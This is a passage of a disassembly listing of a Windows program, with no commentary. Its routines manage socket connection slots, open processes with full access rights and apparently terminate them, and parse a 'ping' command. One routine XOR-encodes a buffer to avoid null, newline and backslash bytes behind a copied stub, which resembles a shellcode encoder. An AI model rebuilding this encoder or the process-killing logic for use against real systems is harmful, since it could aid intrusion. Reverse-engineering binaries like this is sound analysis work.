		mov	eax, [esp+28h]
		push	esi
		push	ebp
		push	eax
		call	sub_401B77
		push	esi
		mov	edi, eax
		nop
		call	near ptr 77C2C21Bh
		add	esp, 24h
		mov	eax, edi
		pop	esi
		pop	edi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_425540	proc near		; CODE XREF: sub_4017BCj

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	cl, cl
		jnz	short loc_425549
		inc	ecx


loc_425549:				; CODE XREF: sub_425540+6j
		mov	eax, 0FFh
		cmp	eax, ecx
		sbb	eax, eax
		and	eax, 2
		add	eax, 15h
		add	eax, ecx
		retn
sub_425540	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_425570	proc near		; CODE XREF: sub_401B77j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	ebx, [esp+4+arg_C]
		cmp	bl, 0Ah
		jz	short loc_425588
		cmp	bl, 0Dh
		jz	short loc_425588
		cmp	bl, 5Ch
		jz	short loc_425588
		test	bl, bl
		jnz	short loc_425589


loc_425588:				; CODE XREF: sub_425570+8j
					; sub_425570+Dj ...
		inc	ebx


loc_425589:				; CODE XREF: sub_425570+16j
		cmp	ebx, 0FFh
		jbe	short loc_4255AC
		mov	eax, ebx
		shr	eax, 8
		cmp	al, 0Ah
		jz	short loc_4255A6
		cmp	al, 0Dh
		jz	short loc_4255A6
		cmp	al, 5Ch
		jz	short loc_4255A6
		test	al, al
		jnz	short loc_4255AC


loc_4255A6:				; CODE XREF: sub_425570+28j
					; sub_425570+2Cj ...
		add	ebx, 100h


loc_4255AC:				; CODE XREF: sub_425570+1Fj
					; sub_425570+34j
		push	ebx
		call	sub_4017BC
		mov	ecx, [esp+8+arg_4]
		add	esp, 4
		cmp	eax, ecx
		mov	[esp+4+arg_C], eax
		jbe	short loc_4255C5
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4255C5:				; CODE XREF: sub_425570+4Fj
		cmp	eax, 0FFFFh
		jbe	short loc_4255D0
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4255D0:				; CODE XREF: sub_425570+5Aj
		mov	al, byte_50E0F8
		xor	edx, edx
		push	ebp
		mov	ebp, [esp+8+arg_8]
		test	ebx, ebx
		push	esi
		jbe	short loc_425600


loc_4255E1:				; CODE XREF: sub_425570+8Ej
		mov	cl, [edx+ebp]
		xor	cl, al
		jz	short loc_4255F7
		cmp	cl, 0Ah
		jz	short loc_4255F7
		cmp	cl, 0Dh
		jz	short loc_4255F7
		cmp	cl, 5Ch
		jnz	short loc_4255FB


loc_4255F7:				; CODE XREF: sub_425570+76j
					; sub_425570+7Bj ...
		inc	al
		xor	edx, edx


loc_4255FB:				; CODE XREF: sub_425570+85j
		inc	edx
		cmp	edx, ebx
		jb	short loc_4255E1


loc_425600:				; CODE XREF: sub_425570+6Fj
		cmp	ebx, 0FFh
		push	edi
		mov	byte_50E0F8, al
		ja	short loc_425633
		mov	edx, [esp+10h+arg_0]
		mov	ecx, 5
		mov	esi, offset loc_444C48
		mov	edi, edx
		mov	byte_444C55, bl
		mov	byte_444C59, al
		rep movsd
		movsb
		mov	esi, 15h
		jmp	short loc_425659
; ---------------------------------------------------------------------------


loc_425633:				; CODE XREF: sub_425570+9Cj
		mov	edx, [esp+10h+arg_0]
		mov	ecx, 5
		mov	esi, offset loc_444C30
		mov	edi, edx
		mov	word_444C3E, bx
		mov	byte_444C43, al
		rep movsd
		movsw
		movsb
		mov	esi, 17h


loc_425659:				; CODE XREF: sub_425570+C1j
		xor	ecx, ecx
		pop	edi
		test	ebx, ebx
		jbe	short loc_42566F
		add	esi, edx


loc_425662:				; CODE XREF: sub_425570+FDj
		mov	dl, [ecx+ebp]
		xor	dl, al
		mov	[esi+ecx], dl
		inc	ecx
		cmp	ecx, ebx
		jb	short loc_425662


loc_42566F:				; CODE XREF: sub_425570+EEj
		mov	eax, [esp+0Ch+arg_C]
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_425570	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4256D0	proc near		; CODE XREF: sub_401E24j

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		lea	eax, [ecx+ecx*2]
		shl	eax, 4
		sub	eax, ecx
		xor	ecx, ecx
		lea	eax, [eax+eax*2]
		mov	dword_44918F[eax*4], ecx
		mov	dword_44917B[eax*4], ecx
		mov	dword_44917F[eax*4], ecx
		mov	dword_449183[eax*4], ecx
		mov	dword_449187[eax*4], ecx
		mov	dword_44918B[eax*4], ecx
		mov	byte_448F7B[eax*4], cl
		mov	byte_449193[eax*4], cl
		retn
sub_4256D0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_425740	proc near		; CODE XREF: sub_401370j

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	ebx
		push	ebp
		xor	ebx, ebx
		xor	ebp, ebp
		cmp	ecx, ebx
		jle	loc_4257F7
		cmp	ecx, 400h
		jge	loc_4257F7
		lea	eax, [ecx+ecx*2]
		push	esi
		shl	eax, 4
		sub	eax, ecx
		push	edi
		push	ebx
		lea	esi, [eax+eax*2]
		mov	eax, dword_44918F[esi*4]
		push	eax
		call	near ptr 27B00FFh
		nop
		cmp	dword_44918F[esi*4], ebx
		jz	short loc_425788
		mov	ebp, 1


loc_425788:				; CODE XREF: sub_425740+41j
		mov	dword_44918F[esi*4], ebx
		mov	dword_44917B[esi*4], ebx
		mov	dword_44917F[esi*4], ebx
		mov	eax, dword_449183[esi*4]
		cmp	eax, ebx
		jbe	short loc_4257B1
		push	eax
		call	sub_401C6C
		add	esp, 4


loc_4257B1:				; CODE XREF: sub_425740+66j
		mov	edi, dword_50FC88
		mov	dword_449183[esi*4], ebx
		mov	byte_448F7B[esi*4], bl
		mov	byte_449193[esi*4], bl
		mov	ecx, dword_449187[esi*4]
		push	ecx
		call	edi	; closesocket
		mov	dword_449187[esi*4], ebx
		mov	edx, dword_44918B[esi*4]
		lea	esi, ds:44918Bh[esi*4]
		push	edx
		call	edi	; closesocket
		mov	[esi], ebx
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4257F7:				; CODE XREF: sub_425740+Cj
					; sub_425740+18j
		mov	eax, ebp
		pop	ebp
		pop	ebx
		retn
sub_425740	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_425830	proc near		; CODE XREF: sub_401D93j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	ebp
		push	esi
		push	edi
		xor	ebp, ebp
		xor	edi, edi
		mov	esi, offset dword_44917F


loc_425841:				; CODE XREF: sub_425830+52j
		mov	eax, [esp+10h+arg_0]
		mov	ecx, [esi-4]
		cmp	ecx, eax
		jnz	short loc_425875
		test	ebx, ebx
		jle	short loc_425867
		cmp	[esi], ebx
		jz	short loc_425858
		cmp	edi, ebx
		jnz	short loc_425875


loc_425858:				; CODE XREF: sub_425830+22j
		push	edi
		call	sub_401370
		add	esp, 4
		test	eax, eax
		jz	short loc_425875
		jmp	short loc_425874
; ---------------------------------------------------------------------------


loc_425867:				; CODE XREF: sub_425830+1Ej
		push	edi
		call	sub_401370
		add	esp, 4
		test	eax, eax
		jz	short loc_425875


loc_425874:				; CODE XREF: sub_425830+35j
		inc	ebp


loc_425875:				; CODE XREF: sub_425830+1Aj
					; sub_425830+26j ...
		add	esi, 234h
		inc	edi
		cmp	esi, offset byte_4D617F
		jl	short loc_425841
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_425830	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4258B0	proc near		; CODE XREF: sub_401C6Cj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		push	eax
		push	0
		push	1F0FFFh
		mov	edi, 1
		nop
		call	near ptr 27C0000h
		mov	esi, eax
		test	esi, esi
		jz	short loc_4258E5
		push	0
		push	esi
		nop
		call	near ptr 2750000h
		test	eax, eax
		jnz	short loc_4258E5
		push	esi
		xor	edi, edi
		nop
		call	near ptr 28709F4h


loc_4258E5:				; CODE XREF: sub_4258B0+1Dj
					; sub_4258B0+2Aj
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_4258B0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_425900	proc near		; CODE XREF: sub_401483j

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		xor	eax, eax
		mov	ecx, offset dword_44917B


loc_42590B:				; CODE XREF: sub_425900+1Cj
		cmp	[ecx], edx
		jnz	short loc_425910
		inc	eax


loc_425910:				; CODE XREF: sub_425900+Dj
		add	ecx, 234h
		cmp	ecx, offset byte_4D617B
		jl	short loc_42590B
		retn
sub_425900	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_425930	proc near		; CODE XREF: sub_401D8Ej

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		push	esi
		xor	esi, esi
		xor	eax, eax
		mov	ecx, offset dword_44917B


loc_42593E:				; CODE XREF: sub_425930+1Fj
		cmp	[ecx], edx
		jz	short loc_425953
		add	ecx, 234h
		inc	eax
		cmp	ecx, offset byte_4D617B
		jl	short loc_42593E
		mov	eax, esi


loc_425953:				; CODE XREF: sub_425930+10j
		pop	esi
		retn
sub_425930	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_425970	proc near		; CODE XREF: sub_401BD6j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		xor	edi, edi
		mov	eax, offset byte_448F7B


loc_425978:				; CODE XREF: sub_425970+18j
		cmp	byte ptr [eax],	0
		jz	short loc_42598E
		add	eax, 234h
		inc	edi
		cmp	eax, offset dword_4D5F7B
		jl	short loc_425978
		mov	eax, edi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_42598E:				; CODE XREF: sub_425970+Bj
		lea	eax, [edi+edi*2]
		push	esi
		shl	eax, 4
		sub	eax, edi
		push	1FFh
		lea	eax, [eax+eax*2]
		lea	esi, ds:448F7Bh[eax*4]
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	esi
		nop
		call	near ptr 77C47A90h
		mov	ecx, [esp+14h+arg_4]
		mov	edx, [esp+14h+arg_8]
		mov	[esi+200h], ecx
		mov	dword ptr [esi+204h], 0
		add	esp, 0Ch
		mov	dword ptr [esi+208h], 0
		mov	[esi+20Ch], edx
		mov	byte ptr [esi+218h], 0
		mov	eax, edi
		pop	esi
		pop	edi
		retn
sub_425970	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_425A10	proc near		; CODE XREF: sub_401609j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_425A10
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	edi
		push	0
		push	7
		push	0Eh
		push	9
		push	10h
		push	4Fh
		push	13h
		push	0Fh
		mov	esi, ecx
		push	4
		lea	eax, [esp+68h+var_3C]
		push	4
		push	eax
		mov	dword ptr [esi+118h], 0
		mov	byte ptr [esi+11Ch], 0
		call	sub_4019B5
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	[esp+48h+var_4], 0
		call	sub_4017E4
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_447108
		call	sub_401591
sub_425A10	endp

; ---------------------------------------------------------------------------
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	10h
		push	4
		push	15h
		push	4Fh
		push	13h
		push	0Fh
		push	4
		lea	edx, [esp+28h]
		push	4
		push	edx
		call	sub_4019B5
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 1
		call	sub_4017E4
		push	eax
		lea	eax, [esi+32h]
		push	eax
		mov	ecx, offset dword_447108
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	0Eh
		push	19h
		push	13h
		push	4Fh
		push	13h
		push	0Fh
		push	4
		lea	ecx, [esp+28h]
		push	4
		push	ecx
		call	sub_4019B5
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 2
		call	sub_4017E4
		lea	edx, [esi+60h]
		push	eax
		push	edx
		mov	ecx, offset dword_447108
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	10h
		push	0Fh
		push	14h
		push	13h
		push	4Fh
		push	13h
		push	0Fh
		push	4
		lea	eax, [esp+2Ch]
		push	4
		push	eax
		call	sub_4019B5
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 3
		call	sub_4017E4
		lea	ecx, [esi+0EAh]
		push	eax
		push	ecx
		mov	ecx, offset dword_447108
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	0Eh
		push	19h
		push	13h
		push	4
		push	13h
		push	4Fh
		push	13h
		push	0Fh
		push	4
		lea	edx, [esp+48h]
		push	4
		push	edx
		call	sub_4019B5
		add	esp, 30h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 4
		call	sub_4017E4
		add	esi, 8Eh
		push	eax
		push	esi
		mov	ecx, offset dword_447108
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+20h]
		mov	[esp+40h], edi
		call	sub_401226
		mov	ecx, [esp+38h]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 80h dup(0CCh)
; ---------------------------------------------------------------------------


loc_425C60:				; CODE XREF: ___:loc_401B6Dj
		push	0FFFFFFFFh
		push	offset loc_43B744
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 34h
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+50h]
		mov	ebx, ecx
		push	edi
		lea	ebp, [esi+7Eh]
		lea	ecx, [ebx+60h]
		mov	[esp+54h], ebp
		call	sub_4014D3
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		mov	edi, dword_50FB08
		test	eax, eax
		jnz	loc_425DF8
		push	95h
		call	sub_43688A
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+10h], eax
		xor	ebp, ebp
		cmp	eax, ebp
		mov	[esp+4Ch], ebp
		jz	short loc_425CCB
		mov	ecx, eax
		call	sub_401DD9
		mov	ebp, eax


loc_425CCB:				; CODE XREF: ___:00425CC0j
		push	offset asc_443600 ; " "
		lea	eax, [esp+18h]
		push	1
		mov	byte ptr [ebx+11Ch], 1
		push	eax
		mov	ecx, esi
		mov	dword ptr [esp+58h], 0FFFFFFFFh
		mov	[ebp+91h], ebx
		call	sub_4016AE
		push	eax
		lea	ecx, [ebp+3Bh]
		mov	dword ptr [esp+50h], 1
		call	sub_401FBE
		lea	ecx, [esp+14h]
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	ecx, [esp+18h]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 2
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+50h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	edx, [esp+18h]
		push	3
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 3
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+54h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	eax, [esp+18h]
		push	4
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 4
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+58h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		lea	ecx, [esi+69h]
		push	ecx
		lea	ecx, [ebp+26h]
		call	sub_401FBE
		mov	dl, [esi+93h]
		mov	ecx, ebp
		mov	[ebp+8Fh], dl
		mov	al, [esi+94h]
		mov	[ebp+90h], al
		call	sub_4013D4
		mov	ebp, [esp+54h]


loc_425DF8:				; CODE XREF: ___:00425CA1j
		lea	ecx, [ebx+8Eh]
		call	sub_4014D3
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_425F6A
		push	95h
		call	sub_43688A
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+10h], eax
		test	eax, eax
		mov	dword ptr [esp+4Ch], 5
		jz	short loc_425E3B
		mov	ecx, eax
		call	sub_401BC7
		mov	ebp, eax
		jmp	short loc_425E3D
; ---------------------------------------------------------------------------


loc_425E3B:				; CODE XREF: ___:00425E2Ej
		xor	ebp, ebp


loc_425E3D:				; CODE XREF: ___:00425E39j
		push	offset asc_443600 ; " "
		lea	ecx, [esp+18h]
		push	1
		push	ecx
		mov	byte ptr [ebx+11Ch], 1
		mov	ecx, esi
		mov	dword ptr [esp+58h], 0FFFFFFFFh
		mov	[ebp+91h], ebx
		call	sub_4016AE
		push	eax
		lea	ecx, [ebp+3Bh]
		mov	dword ptr [esp+50h], 6
		call	sub_401FBE
		lea	ecx, [esp+14h]
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	edx, [esp+18h]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 7
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+50h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	eax, [esp+18h]
		push	3
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 8
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+54h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	ecx, [esp+18h]
		push	4
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 9
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+58h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		lea	edx, [esi+69h]
		lea	ecx, [ebp+26h]
		push	edx
		call	sub_401FBE
		mov	al, [esi+93h]
		mov	[ebp+8Fh], al
		mov	cl, [esi+94h]
		mov	[ebp+90h], cl
		mov	ecx, ebp
		call	sub_4013D4
		mov	ebp, [esp+54h]


loc_425F6A:				; CODE XREF: ___:00425E0Dj
		lea	ecx, [ebx+4]
		call	sub_4014D3
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_4260D9
		push	95h
		call	sub_43688A
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+10h], eax
		test	eax, eax
		mov	dword ptr [esp+4Ch], 0Ah
		jz	short loc_425FAA
		mov	ecx, eax
		call	sub_40130C
		mov	ebp, eax
		jmp	short loc_425FAC
; ---------------------------------------------------------------------------


loc_425FAA:				; CODE XREF: ___:00425F9Dj
		xor	ebp, ebp


loc_425FAC:				; CODE XREF: ___:00425FA8j
		push	offset asc_443600 ; " "
		lea	edx, [esp+18h]
		push	1
		mov	byte ptr [ebx+11Ch], 1
		push	edx
		mov	ecx, esi
		mov	dword ptr [esp+58h], 0FFFFFFFFh
		mov	[ebp+91h], ebx
		call	sub_4016AE
		push	eax
		lea	ecx, [ebp+3Bh]
		mov	dword ptr [esp+50h], 0Bh
		call	sub_401FBE
		lea	ecx, [esp+14h]
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	eax, [esp+18h]
		push	2
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 0Ch
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+5Ch], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	ecx, [esp+18h]
		push	3
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 0Dh
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+60h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	edx, [esp+18h]
		push	4
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 0Eh
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+54h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		lea	eax, [esi+69h]
		lea	ecx, [ebp+26h]
		push	eax
		call	sub_401FBE
		mov	cl, [esi+93h]
		mov	[ebp+8Fh], cl
		mov	dl, [esi+94h]
		mov	ecx, ebp
		mov	[ebp+90h], dl
		call	sub_4013D4
		mov	ebp, [esp+54h]


loc_4260D9:				; CODE XREF: ___:00425F7Cj
		lea	ecx, [ebx+32h]
		call	sub_4014D3
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_426284
		push	95h
		call	sub_43688A
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+10h], eax
		test	eax, eax
		mov	dword ptr [esp+4Ch], 0Fh
		jz	short loc_426119
		mov	ecx, eax
		call	sub_401785
		mov	ebp, eax
		jmp	short loc_42611B
; ---------------------------------------------------------------------------


loc_426119:				; CODE XREF: ___:0042610Cj
		xor	ebp, ebp


loc_42611B:				; CODE XREF: ___:00426117j
		push	offset asc_443600 ; " "
		lea	eax, [esp+18h]
		push	1
		mov	byte ptr [ebx+11Ch], 1
		push	eax
		mov	ecx, esi
		mov	dword ptr [esp+58h], 0FFFFFFFFh
		mov	[ebp+91h], ebx
		call	sub_4016AE
		push	eax
		lea	ecx, [ebp+3Bh]
		mov	dword ptr [esp+50h], 10h
		call	sub_401FBE
		lea	ecx, [esp+14h]
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	ecx, [esp+18h]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 11h
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+5Ch], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	edx, [esp+18h]
		push	3
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 12h
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+60h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	eax, [esp+18h]
		push	4
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 13h
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+54h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	ecx, [esp+30h]
		push	5
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 14h
		call	sub_4017E4
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+2Ch]
		mov	[ebp+58h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		lea	edx, [esi+69h]
		lea	ecx, [ebp+26h]
		push	edx
		call	sub_401FBE
		mov	al, [esi+93h]
		mov	[ebp+8Fh], al
		mov	cl, [esi+94h]
		mov	[ebp+90h], cl
		mov	ecx, ebp
		call	sub_4013D4
		mov	ebp, [esp+54h]


loc_426284:				; CODE XREF: ___:004260EBj
		lea	ecx, [ebx+0EAh]
		call	sub_4014D3
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_4262A1
		mov	[ebx+11Ch], al


loc_4262A1:				; CODE XREF: ___:00426299j
		mov	ecx, [esp+44h]
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 40h
		retn	4
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 1A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_426460	proc near		; CODE XREF: sub_401A64j

var_4		= dword	ptr -4

		push	ecx
		mov	edx, dword_4479F4
		push	esi
		mov	esi, ecx
		mov	eax, [esi+91h]
		mov	ecx, [eax+118h]
		cmp	edx, ecx
		jl	short loc_426481
		inc	ecx
		mov	[eax+118h], ecx


loc_426481:				; CODE XREF: sub_426460+18j
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+8]
		mov	eax, [esi+91h]
		mov	[esp+8+var_4], esi
		mov	ecx, [eax+118h]
		dec	ecx
		mov	[eax+118h], ecx
		lea	ecx, [esp+8+var_4]
		push	ecx
		mov	ecx, offset byte_4E6E8B
		call	sub_40120D
sub_426460	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		pop	esi
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4264E0	proc near		; CODE XREF: sub_40130Cj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4264E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401F7D
		push	offset aPing	; "ping"
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43E0DC
		call	sub_4015D7
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4264E0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426550	proc near		; CODE XREF: sub_401F7Dj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_426550
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401E6A
		lea	ecx, [esi+11h]
		mov	[esp+14h+var_4], 0
		call	sub_401424
		lea	ecx, [esi+26h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401424
		lea	ecx, [esi+3Bh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401424
		lea	ecx, [esi+64h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401424
		lea	ecx, [esi+79h]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401424
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43E0EC
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_426550	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4265F0	proc near		; CODE XREF: sub_4014C4j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

